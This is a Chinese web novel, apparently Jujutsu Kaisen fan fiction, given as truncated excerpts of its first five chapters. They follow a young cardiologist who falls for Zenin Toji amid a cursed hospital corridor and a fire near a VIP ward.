《天与暴君的妻子每天都在想什么》 1. 一见钟情 《天与暴君的妻子每天都在想什么》全本免费阅读 “夏烧医生!急诊呼叫!” 刚刚踏入办公室的黑发女子当即转身,在走廊上快步急走。 “马上到!” 女子边走边从白大褂的口袋里掏出一根头绳伸到嘴边叼住,然后抬起双手将脑后的长发利落地束起,随意抓了几下后用一只手固定,另一只手取过嘴边的头绳将头发快速扎好。 医院里不能奔跑,但急诊争分夺秒,晓将没来得及扎上的一缕头发撇到耳后,心想改天一定要去剪个短发,便抬脚在走廊上狂奔了起来。 推开急诊室的门,并排的数个病床上都躺着面色苍白的病人,他们或老或少,有些清醒着的正侧着头,茫然而又不知所措地望着内里围着一群护士与医生的床位。 晓当即走上前,看到那个床位上正躺着一名中年男子,身上已经贴上了许多感应电极,他满头大汗,面色发紫,床边的医生用力撕开了他的衣服,露出了惨白的胸膛。 旁边的动态心电图不规律地颤抖。 医生的大喊声响起。 “室颤了!室颤了!室颤波形!” “除颤仪!” 一旁的护士马上拿起除颤仪,调整机器参数,往患者的胸膛按压。 就听咚的一声,男子宛如过电的鱼肉,身体在床上弓起,又狠狠摔落。 “再来一次!” “多少焦。” “两百焦!” “好了好了!回来了!” 晓见这个情况,心中已有了判断,“心肌梗塞?来这里多久了?” 心肌梗塞的黄金救援时间是四分钟。 她从心内科赶过来,已经过去快两分钟了。 “不短了,得马上手术!”急诊医生抽空回答,一边吩咐护士,“可达龙二百五毫升两支!” “他开始抽搐了!” “摁住他,别让他把气管弄出来!” 周围顿时一窝蜂地冲上去了好些人,但一名中年男子无意识地挣扎还是力道不小,好几个人分别摁住他的四肢,才勉强按住他。 “欸!又室颤了!” “再电!” 这时旁边有人送来心电图,晓当即拿过来看了一眼。 “他叫什么名字?”晓冲上前去掏出小型手电筒掰开男子的眼皮照了一下,问道,“家属呢?” “家属在外头!” 晓立马扭头冲到急诊室外,喊出患者名字。 “……现在他必须尽快做手术。”晓冷静地向家属阐明情况,“但患者现在还没有清醒,做这个手术我们要先排除他是否出现了脑出血的情况……” 晓的话还没说完,六神无主的患者家属就已经连连鞠躬,慌张道:“好的好的,医生你说什么就是什么……您请看着办。” 引导家属签了字,晓当即投入到了抢救之中。 忙完的时候,一个下午已经过去了。 跟下一任值班医生交接完,坐在椅子上,晓才终于能喘口气。 “怎么样?救回来了吗?”休息桌对面坐着的白大褂女医生显然也是一副筋疲力尽的样子,说话有气无力的。 本就是跟死神抢人的工作,每天抢一两次就挺累人的了,更何况今天抢救任务异常的多。 “好像是连环车祸。”对面的女医生叹了口气,“急诊科那群家伙,能不能别动不动就给心内科打电话啊。” 稍微有点心跳问题都要疑神疑鬼,那患者明明是伤了腿! 打骨科啊! “救是救回来了,但是还没醒。”晓也叹气,“话是这么说,有什么事……心电图还是让我们来看吧。” 外科同胞们……术业有专攻啊! “也是。”女医生点头表示赞同,“啊对了,晓酱,你的手机一直在响哦。” 晓顿时一惊。 “啊!忘了!” 今天她还有相亲! “我都跟你说了多少遍了,这一次的对象可是我帮你物色的最好的了!又年轻,又帅,还有事业,人品也不错,你要是迟到了对得起我吗!夏烧晓同学!” 急急忙忙换好衣服冲出医院,晓听着从手机里传来的抱怨,欲哭无泪。 “这,这不是事发突然嘛。”把前头摔倒的小朋友扶起来,晓抬手示意他不必道谢,连忙转身就跑,“抱歉结衣,我现在马上就去,你别气坏了身子。” 花宫结衣是晓的发小,她本不是个性格急躁的人,但奈何操心朋友的未来事,身上又怀着个宝宝,硬生生的从一名可爱少女,变成了麻辣红娘。 “我才不会气坏身子呢,介人对我可好了。”结衣说到这里语气立马又变得软糯了起来,嘿嘿一笑,“所以晓,你也要快点找到良伴才行啊,都二十六岁了哦。” “这不是在努力了嘛。”晓干笑道。 其实晓不如何着急男女之事。 只是她从小母亲就因病去世,与父亲相依为命,如今父亲年龄越来越大,身体也没了年轻时的活力,时不时在担忧着若是自己猝然仙逝,徒留下女儿一人在世可怎么办。 恰好这时从小一起长大的结衣也有了自己的家庭,他便开始劝说晓向结衣学习,赶快成家,好让他放心。 贴心好友自然当仁不让地提出要帮忙。 “你要真的努力的话,早就成功了吧。”结衣无奈,“我可听说了哦,你们医院的松本医生本来就倾慕你吧。能进你们医院的怎么都差不了,直接答应他不就好了……” “这你也知道啊,结衣好厉害。”晓转移话题。 “不要小看我啊!” 听着结衣不服气的声音,晓都能想象得出来她鼓着腮帮子的可爱模样了。 如结衣所说,对方确实是一个很绅士的人,约定的咖啡厅距离晓工作的医院也不算远,她很快就到达了目的地。 “好了,加油吧,我的小天才。”结衣给她加油鼓劲,“对了,你没忘记这个月的体检吧。” “没有,早就做完了,放心吧。应该过几天就能拿到结果了。”晓在咖啡厅外的玻璃墙旁站定,对着玻璃整理了一下衣装,“一年一次的体检,都做了那么多年了,怎么还能忘呢?” “这可说不定哦,想当年你考试忘带文具还是我救的急呢。”结衣得意地哼哼。 “结束了记得给我打电话汇报结果哦。” 与结衣挂了电话,晓揉了揉自己的脸,回想起自己过去几次的相亲经验,大步流星地推开了咖啡厅的门。 “对不起,突然有急救病人,我来晚了。” “没关系。”特地挑了个寂静的卡座角落坐着的秀气男子见晓赶到,连忙站起身来迎接。 聊了一会儿后,晓发现对方真的是一个非常好的人。 “真是了不起,梶原先生……这么年轻就已经是研究所的主干了。”晓端起茶杯轻轻抿了一口,“虽然之前就已经听说过了,但是实际见到了才知道,梶原先生比我想象中的优秀多了。” 不仅事业有成,而且待人接物也很得体。 甚至非常的坦诚。 说是理想男人也不为过。 “夏烧小姐也是,我的医生朋友都知道你的名字,一会儿还得拜托你赏脸给几个签名了。”梶原好脾气地笑笑,“我想面对夏烧小姐,有些话我说得再直接一点应该也无妨。” “说实话,研究员不是一个清闲的工作,我现在也在很关键的时期,可能不太能兼顾家庭。”梶原似乎也知道自己提出来的要求有些强人所难,为难地皱了皱眉,“所以对于我来说,我可能更需要一个能协助我打理家事的伴侣。” “但是如你所见,医生这个职业……” 晓瞬间了然。 “这个……”晓叹了口气,垂眸想了想,还是坦诚道,“其实我最近有在做申请无国界医生的准备,这是我一直以来的梦想……” 闻言,梶原便也露出了明白的表情。 聪明人之间,从不做勉强的选择。 最后两人互相留了联系方式,在咖啡厅门口恭敬地道别了。 “……不是让 2. 命运的巧合 《天与暴君的妻子每天都在想什么》全本免费阅读 要是当时要个联系方式就好了! “我回来了……”推开家门,晓走进玄关,垂头丧气。 这一路上她都在后悔。 这么想着,刚才的场景又再次浮现在了眼前。 帅气的面容,利落的身姿,教训完不良后潇洒离去的背影,垂头看向自己时疑惑迷茫的可爱表情,还有当时从她胸膛里蹦出来的心跳声…… 晓右手握拳抵在嘴边,低头不自在地咳嗽了一声。 这个情况…… 连忙拍拍脸让自己冷静下来,晓换上拖鞋,向房子内里走去。 “我回来了,爸爸。”大厅里亮着灯,晓走上前去,果然在开放厨房的岛台后发现了熟悉的身影。 “哦,欢迎回来,晓。” 厨房里,穿着可爱围裙的中年男人正背对着门口忙碌着。他一头黑发,虽然里头已经有了不少白色,但身型看上去却比许多年轻人还要结实。 听见晓的声音,男人擦了擦手,眼中含笑地回头跟她打招呼,却在中途一顿,与晓有六分像的面容上悄然凝结出了几分警惕,但下一秒这份警惕又如墨水入海,融化进他的笑容中,消失得无影无踪,仿佛从未出现。 “今天的相亲,怎么样?”他面色如常地问道。 “挺好的,就是我们之间没能达成共识。”晓没注意到父亲的异样,把肩上的帆布包放到沙发上,走到岛台后帮他端菜,“但是这之后我遇到了别的事情哦!一会儿告诉你!” 从很小的时候开始,晓就跟着爸爸独立生活了,因为缺少母亲,夏烧谦和很担心自己的女儿会在外头受到欺负,总是小心关心着晓的情绪,告诉她有什么事情一定要跟他说,渐渐的晓也养成了与父亲无话不谈的习惯。 “什么事情?”谦和一看晓的表情,就笑了,不动声色地抬手在她的肩膀上挥了挥,“是好事吗?” 感觉耳边好像有股微风吹过,肩膀顿时松快了不少,晓没在意,“嗯……我也不知道算不算。”晓伸头瞅了瞅灶台上的锅,“哦,今天有鸡蛋卷啊。” “本来结衣告诉我这次的相亲一定能成,这是用来庆祝的。”谦和瞥了眼晓。 “爸爸……谁用鸡蛋卷庆祝啊……”晓抬眼瞅了瞅爸爸的表情,当即决定遁走。 摆满菜肴的餐桌边上摆放着一个相框,里头是面带微笑的美丽少女,碧绿色的双眼与晓一模一样。 “我开动了!” 父女互道保佑,开始动筷。 “又是因为你的无国界医生吧。”谦和顿了一下,似乎是想说些什么,但最终只是摇摇头道,“现在的社会,大家真是都在考虑自己的事情。” “也没什么错吧,我也不是不愿意妥协嘛。”晓夹起一个鸡蛋卷扔进嘴里,“而且我好像也不是很喜欢梶原先生。” “没看上?” “倒也不是说他不好吧……”晓叼着筷子尖,想了想道,“呐,爸爸和妈妈,当初是怎么在一起的呢?” “爸爸和妈妈吗?”一说起这个,谦和脸上就露出了微笑,细细的皱纹从他的眼角边绽开,“其实说起来也没什么特别的。” “爸爸当时很笨啊,在学校里一直都是年级倒数,但是妈妈从来都是尖子生,这点你跟你妈妈简直一模一样……” “不是这个,关于爸爸是怎么追到妈妈的故事我早就听过很多遍了。”晓紧急打破爸爸惆怅的粉色泡泡,“我是想知道,爸爸是怎么知道自己喜欢妈妈的?” “这种事情还需要‘知道’吗?”谦和呵呵一笑,“看到你妈妈的那一瞬间我就明白了啊。” 似乎是觉得晓还不理解,谦和又赶紧解释道:“绝对不是因为妈妈的美貌啊——当然妈妈是世界上最好看的人——爸爸当然是一看见妈妈,就看到了她完美又可爱的灵魂……” 接下来的吹嘘,晓无奈又听了一遍。 说的也是啊,只是见了一面而已,大概只是见色起意吧,跟“喜欢”什么的还差得远呢。 冷静下来的晓也没了分享的兴致,和爸爸一同收拾完厨房后,就打算上楼休息了。 临走前,谦和叫住了她。 “最近医院里还好吧?”他一边将最后的盘子摆放好,一边随口问道,看上去只是一时兴起,“你们那个神龛搬走了没有?可别烧起来。” 所谓神龛,就是摆放在医院住院部前的一个小木屋子,里面摆放着一个造型奇怪的神像,听说是用来镇宅的,院长不时还会去上香祭拜,大家向来都只当这是院长个人的信仰。 “好着呢。院长可宝贝了。”晓笑笑,“听说最近还要请人来重新上色,我也不知道是要做什么。” 谦和年轻的时候是一名消防员,虽然现在资历上来了已经不再需要前线出动,但也还依旧做着与市区消防有关的管理工作,职业习惯让他总是会下意识地关注四周的消防。 那神龛就是个木质的小屋子,院长还不时点火上香,看上去就非常有消防问题,自从上次谦和去医院找晓时发现了这个神龛以后就一直很介怀,时不时就提一嘴,此时他问起来,晓也没当回事。 果然,听到晓这么说后,谦和又开始抱怨,“你们这个院长还真是奇怪啊。” “不会有事的啦,那里只有神龛而已,而且距离人多的地方也远,旁边还有灭火器。”灭火器还是谦和用职务之便逼院长放的——晓想到这就想笑,“那我先上楼休息啦。” 眼见着晓上了楼,谦和耸了耸肩,回身把身上的围裙脱了下来,然后想了想,还是掏出手机打了个电话。 而此时,晓来到二楼,慢悠悠地洗漱完后回到房间里躺在床上,瞪着双碧绿色的大眼睛发了会儿呆,然后翻开床边的书,企图找些事情做。 但根本集中不了注意力! 晓泄气地把书拍到脸上。 刚一闭上眼,傍晚遇到的那个男人又出现在了她的脑海中。 晓突然伸出手狠狠抱住一旁抱枕。 可是……真的……好帅啊!! 晓不是没有见过落入情网的少女。 学生时期,周围的朋友总是会被杂志上的各类帅哥吸引住目光,兴致盎然地讨论着他们的故事与性格,不时发出尖叫,一双眼睛里仿佛发着光。 但那时的她并不理解这是什么感情,在她看来杂志里的男明星们确实都挺帅的,但看上去都差不多。 结衣说她这是没有“被戳到”。 「就像是火星撞地球你懂吗?火星撞地球!你感觉整个世界都颤动起来了!」 晓茫然摇头。 「唉。」JK结衣双手叉腰,拍拍她的肩膀,「看来这对你来说还太早了啊。」 但是现在…… 晓翻过身,放好脸上的书,抓过床头的手机,满脸通红地啪啪打字。 晓:【结衣……我好像火星撞地球了。】 结衣:【啊?】 结衣对她没能及时出手的行为表示强烈谴责! “明天就去蹲点!不确定的话,就再看一眼不就好了吗!”火速打来电话的结衣积极支持发小的第一春,“说不定能再遇见!” “这个机率不管怎么说也太小了吧……”晓犹豫。 结衣:“……” 结衣:“你竟然真的在琢磨……” 而不是骂我又在想什么奇怪的事情! “完蛋。”结衣嘴上说着完蛋,语气却兴奋不已,“这就是老女人的第一春吗?” 晓:“……我也是会生气的哦。” 她才不是老女人呢! “啊可惜!我现在不在东京!”自从嫁人了以后,结衣就陪着她先生回乡下老家了,“不然我一定要亲眼看看那个打动我们‘冰冷女神’的男人到底是谁?!” “从来没有过这种外号吧。” “我刚想的!” 晓叹了口气,又在床上翻了个身。 “就算遇见了又怎么办?直接上去要联系方式也很奇怪吧?” “有什么关系,我当初不就是这么拿到介人的联系方式的吗?”结衣不以为意。 你是指在高中毕业那年轰轰烈烈地到暗恋对象的大学门口堵人然后大声告白搞得全校人都知道的那件事吗? 结衣:“但我成功了!事实证明,这是可行的!” 晓捂脸。 “难道你不想要他的联系方式?”结衣暗戳戳道。 “……想。” 不然也不能后悔一路了。 “但是……” 晓最终还是摇了摇头。 果然,这太奇怪了。 然而到了第二天,晓出门的时候 3. 鬼 《天与暴君的妻子每天都在想什么》全本免费阅读 “……所以你就把你的联系方式给她了?你可真是个水性杨花的男人。” 距离小巷不过两条街的路边,停靠着一辆低调的黑色轿车,与晓交换了联系方式之后,男人溜溜达达地走过去,坐进了车里。 “喂,就算是我也知道水性杨花不是什么好词,而且你还拿来形容我——那这个词肯定烂透了。”男人健硕的身体一坐进轿车里,整辆车明显地一沉,随后他侧过身子,吊儿郎当地伸手绕过椅背,一脸嘲弄地看向一旁西装革履的驾驶员,“那个小巷,今天是第几次了?” “已经是第三次了。真是,现在的不良怎么竟是些年轻人啊……不管怎么说,这里总算是‘打扫’干净了——尽是干些咒术师的活……”驾驶员开着窗户,低声吐槽了几句,然后抽了口烟,胡子拉碴的面容看上去更加疲惫了,“你这家伙,感谢基因送你的这张脸吧,不然就你这个样子,怎么可能会有女人看得上。” “那我到宁愿没有这鬼基因。”男人掏出手机确认了一下自己刚刚记上去的手机号,并备注“八,18号”。 驾驶员凑上前去看了一眼,“什么啊,这可是第一个主动向你上交手机号的女人,你就不能备注个特别点的吗?她看上去竟然不怕你,还主动往上凑。” 平常也就只有那些拿捏着金钱的富婆敢对着这个人为所欲为了。 说完,驾驶员又上下打量了男人一眼,“别说,禅院,你要是愿意捯饬捯饬,倒也能看。” 不过如今这幅邋里邋遢的样子,也只是会把方圆几里的女人都吓跑罢了。 这家伙,还真是不出摊就不打理啊…… “谁知道她有什么毛病。”想起刚刚那个女人在自己面前的傻样,甚尔勾了勾嘴角,却看上去并没有几分好意,“不过倒是省了我的力气了。这个女人貌似是那个医院里的医生,刚好。” 这次他的任务目标,就在那家医院里。 驾驶员无所谓地哼了一声,笑道:“你还真是个人渣啊。” “你有这个资格说我吗?” “这方面你可就比不过我了。不过要是能在下地狱之前都不用看见你就更好了。” “想得美。”甚尔冷笑一声,身体往后仰,“快开车吧孔时雨,你这根烟抽得够久了。” “唉,摊上你算我倒霉。” 引擎声响起,黑色轿车扬长而去,只留下一根只抽了半根的烟头,冒着微小的火光,掉落在地。 而此时,恍惚着从咖啡店里找回钥匙的晓已经到达了医院。 她将帆布包随手丢在办公桌上,然后把自己往椅子上一摔。 拿,拿到联系方式了! 晓连忙趴到桌子上,遮住自己不小心翘起的嘴角,然后翻出手机,又看了看自己通讯录里多出来的手机信息。 禅院……甚尔?好帅气的名字! “发生了什么好事了?你笑得很奇怪哦,晓酱。” 晓连忙收起表情,把手机盖上,抬头向门口的同事笑着打招呼,“早上好,惠美。” “早上好。”惠美坐到自己的办公桌后,一边准备上班用的东西,一边揶揄道,“你这表情,难道是昨天的相亲终于成了?我就说你这条件,要美貌有美貌,要才华有才华的,肯定是眼光太高所以才拖这么久的。” “没有啦……”晓干笑道,然后注意到了惠美的动作,“今天你坐门诊吗?” “是啊。”惠美起身穿上白大褂,叹气道,“听说今天内藤也在,真是倒霉。” 内藤是心内科的副主任,在工作中非常苛刻,平时他们下诊早几分钟或者上诊晚几分也没什么大事,但如果被内藤发现了,就免不了被训斥几句,以至于大家对她都颇有怨言。 “晓酱,你也要小心哦。”惠美把头发扎起来,愤愤不平道,“最近主任不也快退休了嘛,内藤那家伙肯定虎视眈眈呢。但现在大家都猜测最后成为主任的人会是你,说不定她会来挑你的刺哦。” “不会吧。”晓倒不觉得事情会发展得这么严重,“我还年轻呢。” 惠美幽幽地看了晓一眼。 “这位天才同学,你稍微意识一下自己的技术水平,好吗?” 一个在大学就提前完成学业毕业,并且年纪轻轻名声就响彻东京整个医学圈的人,如果连主任医师的竞争资格都没有,事情才奇怪了吧。 晓:“唔……” 查房的时候,晓发现自己好像突然成为了大家的话题中心。 连病人们都一副好奇的模样。 “夏烧医生。”穿着病房的老奶奶神神秘秘地扯了扯晓的衣袖,小声道,“听说你拒绝了一个大官的儿子?” 晓一脸茫然:“啊?” “这可不行啊。”老奶奶语重心长,“以后得嫁不出去了。” 问了半天,晓才搞明白,原来是昨天自己给梶原的那几份签名,收到签名的人确认自己的好友竟然真的在跟传说中的夏烧医生相亲,转头就告诉了周围的人,等到流言传了一圈回来,就变成了她眼高于顶,连高官儿子都看不上。 嘛,不过如果是夏烧晓的话,也说得过去。 晓:…… 晓:这才过去了一个晚上…… “一个人也不错啊。”隔壁病床的阿姨说道,“我们夏烧医生还得挑更好的才行。” 对这种情况莫名已经习惯的晓只好无奈地一个个跟大家解释自己并没有跟高官儿子相亲,但对方也是很好的人,她没有看不上他…… 然而听完晓的解释,大家惋惜过后,却更加激动了。 “高官的儿子不行,那果然得是更大的人物吧。”小护士激动搓手,“夏烧医生喜欢什么样的呢?大富翁?运动员?还是大明星?!” 不然哪配得上夏烧医生啊! 晓汗颜,“没有这么……” 说着她不由地想起了甚尔。 说起来,还不知道他是做什么工作的呢? 愿意互换联系方式,就是愿意聊聊的意思吧……第一次搭讪的晓心中期待又忐忑。 不然,晚上发短信问问? “夏烧医生今晚值夜班吧。”另一个护士说道,“说到大人物,昨天晚上VIP病房里还真接了一个。” “啊,我知道!”小护士皱眉,“是那个以前上过电视的坏人,对吧。” 另一个护士连忙示意小护士噤声,“嘘,这可不能在外乱说。” 晓见她们这样,也好奇起来,“谁?” 原来就在她昨日下班以后,心内科就转来了一名病人,一进来就送进了VIP病房,听说院长还亲自去探望了,着实是吸引了不少的注意力。 本来VIP病人的信息是不会透露到外头的,但后来有位实习医生陪着主任一块儿去为那名病人检查身体,出来以后就被老奸巨猾的前辈们套出了话,那人的身份才暴露了。 晓听到他的名字时还没有什么想法,但一听到去年的面粉厂爆炸事故,马上就反应过来了。 “……就是那个拒绝补偿死者家属的老板。”小护士义愤填膺,“本来出现这么大的事故就是因为他当时偷工减料,结果出事了以后还推卸责任,连受伤的工人的医药费都不愿意出……据说他现在心脏出了问题,在许多医院辗转都没有找到治疗方法,真是活该啊。” 去年的面粉厂爆炸事故,晓的印象非常深刻,不仅因为这是上了电视的大事情,更重要的是她爸爸本就在做消防相关的工作,因为这件事,那几天都忙得焦头烂额,连家都没时间回,她还给在办公室的爸爸送过过夜衣物。 “现在他是我们的病人,还是VIP病人。”另一名护士提醒小护士小声点,但面上看上去也是赞同她的说法的,“他还要求很多呢,说是晚上不准靠近他的病房,但是出了事还不是得仗着我们?真搞不懂为什么这样的人还没有被惩罚……” 晓心中了然。 能够入住VIP病房,被院长亲自探望,还能从去年这么大的事故责任中全身而退,背后的力量已经不是她们这些小医生和护士能够明白的了。 “夏烧医生晚上查房的时候要注意啊。” 晓听那VIP病人竟是这样的人,心里也带上了几分抗拒,闻言点了点头,“好的。”< 4. 走廊 《天与暴君的妻子每天都在想什么》全本免费阅读 【什么意思?】 发出去的短信没有回音。 晓顿时坐立难安起来。 这个时间医院门诊部早就关门了,来医院的不是急诊,就是家属探病,或者说…… 他该不会真的因为她说的那个鬼怪声响就兴奋得想要来一探究竟吧? 一时之间,晓心情复杂,一方面想到自己要通过聊鬼怪话题才能了解暗恋对象就让她心有退意,一方面又因为甚尔有可能会出现在她面前而感到期待。 晓又连忙发了一个短信。 【你要来医院吗?】 还是没有回音。 这可怎么办,她应该去楼下接他吗? 就在晓一筹莫展,打算问问追人经验丰富的发小之时,护士站的值班护士敲响了她的办公室门。 “夏烧医生……”护士趴在门框上,一脸惊慌失措。 晓神情一变,连忙收起手机,站起身来,迅速进入工作状态,“怎么了?是有病人出事了吗?” 护士却摇摇头,着急忙慌地窜进了办公室里,贴着晓站好,“刚刚你是不是问我有没有听见什么奇怪的声音?” 晓顿时一激灵,回头与护士对视了一眼。 护士战战兢兢地点头。 “我好像也听到了。” 五分钟后,放弃了在休息室里呼呼大睡的同僚,晓和护士拉上了隔壁科室值班的男医生,又再次回到了那个走廊。 之前还明亮的灯光,此时竟然都已经消失了,整个走廊都陷入了一片黑暗之中,两旁的病房门紧闭着,似乎除了他们没有人发现外头有什么异样。 “灯,坏了?”晓和护士两人探头探脑地躲在男医生背后,瑟瑟发抖,“会不会是有小偷啊?” “这里是五楼,应该不会吧。”男医生手拿着手电筒往走廊里照,看上去并不怎么害怕,“说不定是附近的野猫跑上来了,楼下的保安大叔可不会拦猫。” 医院的花园里有几只小野猫总在附近徘徊,有时也会有医生护士和病人给它们喂喂猫粮,算是跟大家相处的都不错,偶尔在住院部里也会看到它们的身影。 “总而言之我们先去把灯开了吧。”灯的开关在走廊的另一边,“不是小猫关的,大概就是谁的恶作剧。”男医生抬脚向前走去,晓和护士一惊,连忙跟上,“也没有听到什么声音,说不定已经走了。” 说完他回头看向两人,调侃道:“至于吓成这样吗。该不会是你们俩幻听了吧?” 护士猛地摇头,“没有!我真的听到了!叮叮叮的……对吧,夏烧医生!” “嗯,嗯。”夏烧点点头,面上害怕得不行,“总而言之,就交给你了,小木子!” 男医生无语,“别叫我小木子啊!怎么连夏烧前辈你也这样……” 三人一拖二,磨磨唧唧走进昏暗的走廊,等到他们的身影渐渐消失在黑暗之中时,一团白气忽然悄无声息地贴着地面缓缓朝着走廊中央聚拢而来,仿佛野兽合上了颌骨,转眼就封住了三人的后路。 很快,他们就发现了不对劲。 “奇怪,这个走廊有那么长吗?”护士不时向四处张望,小木子的衣袖已经被她抓出了褶子,“这里不应该是VIP病房了吗?” VIP病房外头会有醒目的标志,与普通病房也有一段距离,但这里两旁的景象还是跟普通的病房走廊没有什么两样。 “等等!”晓眼尖发现了什么,连忙拽住两人,指了指手边病房门口挂着的门牌,“534号病房……我们这层楼有这个病房吗?” “……” 三人面面相觑,都看到了对方眼中的震惊。 随即他们不约而同地转身,快速往回走。 533、532、531……陌生的门牌从他们眼前一一掠过,直到走到第526时,下一个门牌却变成了550。 这层楼去掉特殊的三间VIP病房,只有五间单人病房和二十间多人病房,一共二十五间,门牌号从501到525。 而如今,这些门牌号都不见了。 小木子当即上前,想要推开526的房门,却发现怎么都打不开,即使是他用身体用力撞击,也没能让房门移动分毫。 护士害怕地尖叫出声,“这是怎么回事?!” 而晓已经完全呆住了。 真真真真的有鬼!!! 她顿时双腿发软,差点跌倒在地。 “冷静一点。”小木子神色也变得苍白了起来,但还是强装镇定道,“我们往回走,肯定能回到原地的。” 于是三人战战兢兢地继续往回走,这时他们才发现四周安静得吓人,甚至连平时隔着病房门都能听到的交谈声都没有。 “这是……梦吗?”晓指尖发颤。 另外两人没有回答她。 不知走了多久,前方的走廊地面上突然升起了阵阵迷雾,与此同时,宛如铁器相敲的清脆声音不知从何处响起。 “叮、叮、叮……”一下下,声音越来越大,仿佛敲打在他们的心里。 “什么声音?”晓下意识地向墙边靠拢,眼睛四处张望,连声音都在颤抖,“这到底是怎么回事啊?” 然而晓后退一步,却发现周围忽然一凉,她猛地回头,赫然发现身旁已经没有了小木子和护士的身影。 “小木子!渡边!”晓尖叫出声。 但没有人应答。 整个走廊上只剩下了她一个人。 不知道是不是她的错觉,周围的温度似乎也降了下来。 “怎,怎么办啊?”晓扶着墙壁,一动都不敢动,感觉自己的心快要从胸口跳出来了,“我该不会……是要死在这里了吧?” 这么快吗?死得这么毫无意义? 长长的走廊看不见尽头,铁器相敲的叮叮声从黑暗中缓缓靠近,晓抱住手臂搓了搓,试图温暖自己,但背后靠着的冰凉墙壁还在不断地抽取她身上的温暖。 “叮、叮、叮……”声音越来越近。 晓猛地蹲下身子,颤抖地闭上双眼,从内心深处涌上来的恐惧无法控制地迅速蔓延至她的全身。 未知的声响仿佛催命符,一点点敲散她的勇气。 她不知道发生了什么,也不知道为什么会变成这样,超越认知与理性的状况,已经让她的大脑失去了判断能力。 早知道就不过来了…… 就在这时,不远处突然传来一阵脚步声。 脚步声懒塌塌,缓缓地朝晓的方向靠近,四周的叮叮声随即仿佛被吓到了一样,眨眼间就平息了下来。 晓紧紧地抱着自己,吓得不敢睁开双眼,心里不断祈祷着这些奇怪的东西赶快消失,没有注意到自己逐渐冰冷的身体此时已经渐渐恢复了温暖。 半晌后,脚步声停在了她面前。 晓连忙捂住嘴,不敢发出声音。 “不是让你不要动吗?蠢女人。” 低沉又带着些许嘶哑的男声从头顶上传来,晓当即睁开双眼,一双布满划痕的黑色拖鞋顿时映入了她的眼帘。 她连忙抬头,看见来人,身体不由地一松,眼睛却亮了起来,声音里控制不住地泄出一丝哭腔,“你,你来啦!” 好像无助的松鼠终于在暴风雨到来前找到了可以依靠的小屋子。 甚尔见此神情一顿,冷漠朝走廊尽头瞥了一眼,随即他毫不客气地抬脚用拖鞋踢了踢晓的鞋子,“快点站起来。那个什么VIP病房在哪个方向?” 晓连忙站起身,轻轻地擦了擦眼角,“VIP病房不见了!不只是这样!还有其他病房也是,小木子和……啊嘞?” 晓回头,发现自己身后的病房门牌不知何时变成了503。 病房里的病人们还没睡,听到门外的声音,高声问道:“外面是夏烧医生吗?” 仿佛潮水褪去,灯光亮起,四周窸窸窣窣的人声又重新涌回了耳边,刚刚在花园里消完食的病人从走廊经过,看到晓,跟她举手打了个招呼。 热腾腾的人气又重新填满了空气,仿佛刚刚的寂静都只是一场梦。 晓呆住了。 “嘁。”甚尔不耐烦地抬眼,“逃掉了吗。” 晓没听懂。 逃掉了?什么东西逃掉了? 但甚尔没有向她解释的意思,只继续问道:“问你呢,女人。VIP病房在哪里?” 晓惊魂未定地指了一个方向,眼见着甚尔转身离开,又连忙追上去,“等等!小木子和渡边呢!他们去哪里了?刚刚发生的事情,你是不是知道些什么?” 甚尔停下脚步,回头看了晓一眼。 “不知道,大概死 5. 火光 《天与暴君的妻子每天都在想什么》全本免费阅读 晓刚把渡边拖出来,就有发现撤离人数不对的人上来找他们。 “先把渡边……咳咳……带下去!”虽然只是短暂地进入了火场一会儿,但晓还是不可避免地吸入了一些浓烟,顿时感觉自己整个肺都仿佛被灼伤了一样,每呼吸一下都带着刺痛。 “夏烧医生你呢!”来不及犹豫,来人把渡边背上后背,急道,“快跟我一起撤离吧!” 火越来越旺盛,但好在不知为何已停止了蔓延,晓摇摇头,示意他先走,“我把小木子拖出来就走!” 至少不能让他待在火场里! 又端了一盆水冲进火海,往昏迷的小木子头上一倒,晓连忙蹲下身子,打算故技重施把他也拖出去。 但一个成年男子的重量自然不能跟女生相比,晓拖了老半天,路途才走了一半。 幸好医院的地面用的是防火的材料,这个时候了也没烧起来。 拼命把小木子拉到了大楼的另一边,晓抬头一看,见楼道尽头的窗户是打开的,顿时松了口气,把小木子带过去了之后,当即脱力坐倒在地,猛地咳嗽了几声,再也没有力气移动,只好坐在原地等待救援。 她靠在窗户底下,对面就是熊熊燃烧的火场,这时才看出了奇怪之处——那火仿佛像是有自己的意识一样,只困在VIP病房附近燃烧,而在靠近窗户的这一侧走廊却几乎没有什么着火的痕迹。 难道是被防火材料隔离了?晓心想。喘了口气后又连忙低下头检查小木子的情况。 还好,虽然有烧伤,但是并不严重,及时救治的话有很大希望恢复正常生活。 晓试图叫醒他,但他没有什么反应。 只能等其他人来救他们了。 此时外头的风向正好背对着他们,不仅将新鲜的空气不断地送进屋里,也将火海升起的浓烟吹到了大楼的另一边,保证了他们正常呼吸的氧气。 晓又咳嗽了几声,现在她一呼吸就觉得肺疼,心里估计着肺部也有了些损伤,便更不敢大力呼吸了。 之后得住呼吸科了啊……不知想到了什么,晓脸上露出了些许尴尬的神情。 对了!禅院还在里面! 晓一惊,连忙想要站起来,却眼前一黑,又重新倒了回去。 她刚刚已经吸入了不少浓烟。 然而就在这时,令人难以置信的一幕突然发生了。 就见在走廊另一边肆虐的火舌在猝然之间就消失得无影无踪,宛如特效电影忽然被抽走了后期,只留下四周被浓烟熏黑的墙壁证明了火焰曾经存在的事实。 一名健硕的男人从对面走了过来,他肩上扛着不知道什么时候出现的修长薙刀,另一只手则轻松夹着一个头发鬓白的中年男人。 明明那中年男人看上去也体量不小,但甚尔拎着他时却轻松得仿佛那只是一个布偶娃娃,好像一个打猎成功后溜溜哒哒带着猎物下山的打猎人,半点没有刚在火场中九死一生的紧迫。 晓一眼就看出,那个被甚尔夹着的中年男人,身上穿着的正是VIP病房的衣服。 原来他是去救人了啊……晓心头一动。 莫名察觉到了一股奇怪的视线,甚尔眼神一瞟,发现了窝在角落里的晓,抬脚向她走了过去,勉强温柔地把手中尊贵的VIP客户像放猪肉一样地放在了晓的面前。 “你没走?”甚尔瞥了眼晓身边的男医生,了然道,“哦。” 他的神情淡淡的,只有仔细看才能从他的眼底看见几分嘲弄,但晓此时眼前发昏,并没注意。 “正好,给这家伙处理一下吧。”甚尔抬脚用拖鞋踢了踢被他丢在地上的中年男子,“应该还有气。” 中年男子衣冠整洁,连头发丝都打理得一丝不苟,看得出来平时是一个很注重形象的人。 不疑有他,晓连忙拖着身子来到中年男人面前,顶着晕眩检查他的状况,然而看着看着,她一惊,整个人瞬间清醒。 